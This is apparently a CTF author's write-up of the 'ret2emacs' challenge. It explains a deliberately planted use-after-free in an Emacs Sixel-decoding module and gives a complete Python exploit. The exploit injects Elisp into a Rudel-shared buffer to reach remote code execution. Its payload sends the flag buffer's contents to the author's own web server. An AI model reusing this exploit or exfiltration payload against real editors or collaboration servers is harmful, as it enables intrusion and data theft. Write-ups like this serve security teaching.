#+TITLE: ret2emacs #+TAGS: writeup capture-the-flag emacs binary-exploitation heap-feng-shui #+DATE: <2022-04-14 Thu 21:44> It's that time of year again where I take some time to reflect on [[https://ctftime.org/event/1561][UMass CTF]]. This is going to be shorter than last year's. I put out eight challenges, and I'm only going to be writing about one of them. Code, documentation, and write-ups for the others are available [[https://github.com/UMassCybersecurity/UMassCTF-2022-challenges][here]]. * Use-After-Free in an Emacs Module =ret2emacs= was among our three unsolved challenges, and it had a disappointingly low volume of discussion over the weekend. That hurt, since it's the challenge I was most proud of, but someone asked for solution details post-competition so I'm given a reason to acknowledge that I made it. ** Background Emacs might seem to be an unusual choice of target for a capture-the-flag challenge since it's "just" a text editor. However, there's a little-known package called [[http://rudel.sourceforge.net/][Rudel]] which enables collaborative editing over the network. The premise for the challenge was that you'd connect to a Rudel server where there was a bot watching =*scratch*=,[fn:1] and you had to insert some text that would trigger remote-code execution. I didn't hoard any 0days for this competition. The intended solution was to attack a vulnerable [[https://www.gnu.org/software/emacs/manual/html_node/elisp/Dynamic-Modules.html][Emacs dynamic module]] that was loaded in the bot's Emacs session. For the uninitiated, Emacs is extensible in a few ways. The primary mechanism for doing so is to use Emacs Lisp (Elisp), which is an interpreted[fn:2] scripting language. Emacs also has the capability to interoperate with native code in shared libraries, which we call "dynamic modules." Elisp can call into the code of dynamic modules and vice versa. It's similar to the FFI situation in most other scripting languages. The following is the (admittedly quite bad) Elisp code running on the bot's end. This is not the vulnerable part, but the background may be helpful in understanding the challenge. #+BEGIN_SRC elisp (defvar sixplayground-overlays '()) (defun sixplayground-make-overlay (start end data-or-function) (let* ((overlay (make-overlay (car match) (cadr match))) (data (if (stringp data-or-function) data-or-function (funcall data-or-function)))) (overlay-put overlay 'display (create-image data 'pbm t)) (push overlay sixplayground-overlays))) (defun sixplayground-parse () (save-excursion (set-buffer (get-buffer "*scratch*")) (dolist (overlay sixplayground-overlays) (delete-overlay overlay)) (setq sixplayground-overlays '()) (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\")) (sixplayground-make-overlay (car match) (cdr match) (sixel-decode-string (buffer-substring (car match) (cadr match))))))) (defun matches-in-buffer (regexp &optional buffer) "return a list of matches of REGEXP in BUFFER or the current buffer if not given." (let ((matches)) (save-match-data (save-excursion (with-current-buffer (or buffer (current-buffer)) (save-restriction (widen) (goto-char 1) (while (search-forward-regexp regexp nil t 1) (push (list (match-beginning 0) (match-end 0)) matches))))) (reverse matches)))) (defun sixplayground-on-post-command (&rest args) (when (buffer-modified-p (get-buffer "*scratch*")) (sixplayground-parse) (set-buffer-modified-p nil))) #+END_SRC Here's a summary of what's going on: =sixplayground-on-post-command= is like a callback -- it's called every time the buffer is edited. It's a wrapper around =sixplayground-parse=, which iterates over all substrings in the buffer that look like a series of [[https://en.wikipedia.org/wiki/Sixel][Sixel commands]] and converts them to "overlays", which are images that can be displayed in the editor's text area. The part that actually converts these substrings to image data is =sixel-decode-string=. #+CAPTION: Example of an overlay in Emacs. [[./ret2emacs-overlay-demo.png]] The song and dance of FFI initialization is omitted for brevity, but =sixel-decode-string= is implemented as the following C function. It returns an Emacs string. #+BEGIN_SRC c struct hash { uint32_t h0, h1, h2, h3; }; #define CACHESZ 8 static struct hash cache_identifiers[CACHESZ]; static struct emacs_value_tag *cache[CACHESZ]; static int inuse[CACHESZ]; emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t NARGS, emacs_value *ARGS, void *DATA) { assert(NARGS == 1); int pwidth, pheight, ncolors; unsigned char *palette; unsigned char *pixels; unsigned char *buf; ptrdiff_t len; if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) { panic(ENV, "Failed to retrieve string length."); } if ((buf = malloc(len)) == NULL) { panic(ENV, "Failed to allocate buffer."); } if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) { panic(ENV, "Failed to retrieve string."); } md5(buf, len); for (int i = 0; i < CACHESZ; i++) { if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) { return cache[i]; } } sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator); ptrdiff_t output_len = 256 + 12 * (pwidth * pheight); char *output, *cur; if ((output = malloc(output_len)) == NULL) { panic(ENV, "Failed to allocate buffer."); } cur = output; cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight); for (int i = 0; i < pheight * pwidth; i++) { cur += sprintf(cur, "%d %d %d\n", ,*(palette + pixels[i] * 3 + 0), ,*(palette + pixels[i] * 3 + 1), ,*(palette + pixels[i] * 3 + 2)); } emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output)); int sentinel = 0; for (int i = 0; i < CACHESZ; i++) { if (!inuse[i]) { sentinel = 1; cache_identifiers[i].h0 = h0; cache_identifiers[i].h1 = h1; cache_identifiers[i].h2 = h2; cache_identifiers[i].h3 = h3; cache[i] = malloc(sizeof(struct emacs_value_tag)); cache[i]->v = *((void **)ret); inuse[i] = 1; break; } } if (!sentinel) { // Evict the whole cache, except for `i`. for (int i = 0; i < CACHESZ; i++) { /* cache_identifiers[j].h0 = 0; */ /* cache_identifiers[j].h1 = 0; */ /* cache_identifiers[j].h2 = 0; */ /* cache_identifiers[j].h3 = 0; */ free(cache[i]); inuse[i] = 0; } cache_identifiers[0].h0 = h0; cache_identifiers[0].h1 = h1; cache_identifiers[0].h2 = h2; cache_identifiers[0].h3 = h3; cache[0] = malloc(sizeof(struct emacs_value_tag)); cache[0]->v = *((void **)ret); inuse[0] = 1; } free(buf); free(output); sixel_allocator_free(allocator, palette); return ret; } #+END_SRC If your eyes glazed over reading that, we're doing a couple of things. First and foremost, we're taking the =md5sum= of the input (which, in this case, is a string of Sixel commands). If we haven't seen the hash before, then we feed the input into [[https://github.com/saitoha/libsixel][libsixel]] to get some bitmap data, and then convert that bitmap data into an Emacs string containing a [[https://en.wikipedia.org/wiki/Netpbm][netpbm]] image... mostly for convenience, since it's a format readily accepted by Emacs. We also copy that resulting string onto the heap so that we can save it in our =cache=.[fn:3] If we /have/ seen the hash before, then we immediately return an Emacs object from the cache. ** Vulnerability The vulnerability is outlined by the comments: we clear neither the heap pointers in the cache nor the hashes. So, if the cache were evicted and you inserted a Sixel image that had been cached prior to the eviction, the function would return a stale pointer. So, where do we go with this? Let's look at the signature for =sixplayground-make-overlay=: #+BEGIN_SRC elisp (defun sixplayground-make-overlay (start end data-or-function) ... #+END_SRC We pass the output of =sixel-decode-string= in as =data-or-function=. So if we can coerce =sixel-decode-string= into returning an Emacs function object, then that function will be called when the buffer is done being processed. Fortunately, it's fairly easy to construct a "function" that works, because Elisp is quite lenient in what it considers a function. #+BEGIN_SRC elisp (functionp 'eval-buffer) ; => t #+END_SRC If we can coerce =sixel-decode-string= into returning the symbol naming a function, then that function will be executed. Elisp objects are machine words where the type of the object is encoded in the least significant bits. The concept is similar to that of the [[https://en.wikipedia.org/wiki/Tagged_pointer][tagged pointer]], except that not all Emacs objects are pointers. Symbols, in particular, are just identified by non-descriptive integers whose three least significant bits are all =0=. #+BEGIN_SRC c enum Lisp_Type { /* Symbol. XSYMBOL (object) points to a struct Lisp_Symbol. */ Lisp_Symbol = 0, /* Type 1 is currently unused. */ /* Fixnum. XFIXNUM (obj) is the integer value. */ Lisp_Int0 = 2, Lisp_Int1 = USE_LSB_TAG ? 6 : 3, /* String. XSTRING (object) points to a struct Lisp_String. The length of the string, and its contents, are stored therein. */ Lisp_String = 4, /* Vector of Lisp objects, or something resembling it. XVECTOR (object) points to a struct Lisp_Vector, which contains the size and contents. The size field also contains the type information, if it's not a real vector object. */ Lisp_Vectorlike = 5, /* Cons. XCONS (object) points to a struct Lisp_Cons. */ Lisp_Cons = USE_LSB_TAG ? 3 : 6, /* Must be last entry in Lisp_Type enumeration. */ Lisp_Float = 7 }; #+END_SRC It isn't too difficult to find the in-memory representation of a symbol using the dynamic module interface. Doing so is left as an exercise to the reader, as it's been long enough that I've discarded a lot of my solution material. The symbol I went for was =eval-buffer= for reasons you will soon see. The point about this being a non-descriptive integer rather than a pointer is an important one, though. This means that one need not concern herself with i.e., ASLR to carry out the exploit. Once you have the in-memory representation of the symbol, you can encode it as a Sixel image using this Python function: #+BEGIN_SRC python import png from subprocess import Popen, DEVNULL, PIPE, STDOUT def data_to_sixel(data): w = png.Writer(4, 2, greyscale=False) p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) w.write(p.stdin, data) p.stdin.close() try: p.wait(5) except Exception: exit(1) return p.stdout.read() #+END_SRC ** Exploit When this is decoded by the module, we know that there will be a heap chunk /somewhere/ that contains the in-memory representation for our target symbol. Our goal is to do some [[https://en.wikipedia.org/wiki/Heap_feng_shui][heap feng shui]] such that a stale pointer in the cache points at this particular heap chunk. Then, we trigger a use-after-free, so that when =sixel-decode-string= is called, it will return this symbol object, thereby triggering the =or-function= path of =sixplayground-make-overlay=. This brings us to the solution. Like much of the other code in this article, it is not pleasing to look at, but it gets the point across. #+BEGIN_SRC python from base64 import b64encode from subprocess import Popen, DEVNULL, PIPE, STDOUT import struct import time import os import png import random EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\" PAYLOAD=b""" (save-excursion (set-buffer (get-buffer "*flag*")) (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) (buffer-string)) """ def data_to_sixel(data): w = png.Writer(4, 2, greyscale=False) p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) w.write(p.stdin, data) p.stdin.close() try: p.wait(5) except Exception: exit(1) return p.stdout.read() def random4x2(): return data_to_sixel( [tuple([random.randrange(0, 100) for _ in range(3 * 4)]), tuple([random.randrange(0, 100) for _ in range(3 * 4)])] ) def emacs_exec(cmd): p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) try: p.wait(30) except Exception: exit(1) return p.stdout.read() def submit(data): b64encode(PAYLOAD + b"\n" + data) emacs_exec(""" (progn (set-buffer (get-buffer "*scratch*")) (delete-region 1 (buffer-size)) (insert (base64-decode-string \"{}\"))) """.format(b64encode(PAYLOAD + b"\n" + data).decode())) resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))") if b"FLAG" in resp: print(resp) daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) time.sleep(3) # 0. Connect to the remote. emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))") if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"): print("[a] Failed to connect...") daemon.kill() exit(1) litmus = emacs_exec(""" (dolist (document (rudel-unsubscribed-documents rudel-current-session)) (rudel-attach-to-buffer document (get-buffer "*scratch*")) (let ((connection (oref (oref document session) connection))) (rudel-subscribe-to connection document))) """) if b"ERROR" in litmus: print("[b] Failed to connect...") daemon.kill() exit(1) original_cache = [] dump = PAYLOAD # 1. Populate the cache. for _ in range(8): dat = random4x2() original_cache.append(dat) dump += dat # 2. Evict the cache. dump += random4x2() # 3. _Some_ allocation between now and fully populating the cache will overlap # with the Emacs struct array. We don't necessarily know when, so pick random n. # n = random.randrange(0, 8) n = 0 # for i in range(n): # dat = random4x2() # original_cache[i] = dat # dump += dat # 4. Submit the magic payload. dump += EVAL_BUFFER # 5. Overlap should be some random entry afterward... k = 5 # k = random.randrange(n + 2, 8) # dump += original_cache[k] submit(dump) submit(original_cache[k]) emacs_exec("(rudel-disconnect rudel-current-session)") print(f"n = {n}, k = {k}") daemon.kill() #+END_SRC I began by randomly choosing =n= and =k=. Trial and error led me to find that =n = 0, k = 5= was the most reliable choice of the two, so they are hard-coded. There is still some nondeterminism involved in the exploit, so you will have to run the exploit script several times before it is fruitful. Besides the heap feng shui and use-after-free described above, we are inserting some Elisp code to be executed by =eval-buffer= when we are successful. In particular: #+BEGIN_SRC elisp (save-excursion (set-buffer (get-buffer "*flag*")) (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) (buffer-string)) #+END_SRC So after setting up a Bash script to run my exploit in a loop, all I needed to do was log into my home server, =tail -f= the logs, and crack open a beer. #+BEGIN_SRC prog jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)" #+END_SRC * On the CTF as a Whole I don't have too much to say. I think the competition went well. Thanks to all who played. Despite all the burnout I was experiencing in the months leading up to the competition, the comments on the [[https://ctftime.org/event/1561/weight][weight voting]] made it worth it for me, especially hearing that folks liked the dumb game I spent months working on. I'm going off elsewhere for grad school now, but I'll continue to volunteer my time with the UMass Cybersecurity Club for the foreseeable future. I helped to sow the seeds, and now I have an opportunity to see things bloom. --- [fn:1] In Emacs, the principal data structure for storing editable text is the *buffer*. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. =*scratch*= is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with =*scratch*= because it's known to nearly every Emacs user. [fn:2] Or JIT, if you're using the latest and greatest. [fn:3] This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend." # LocalWords: Rudel fn bot's Elisp FFI SRC elisp defvar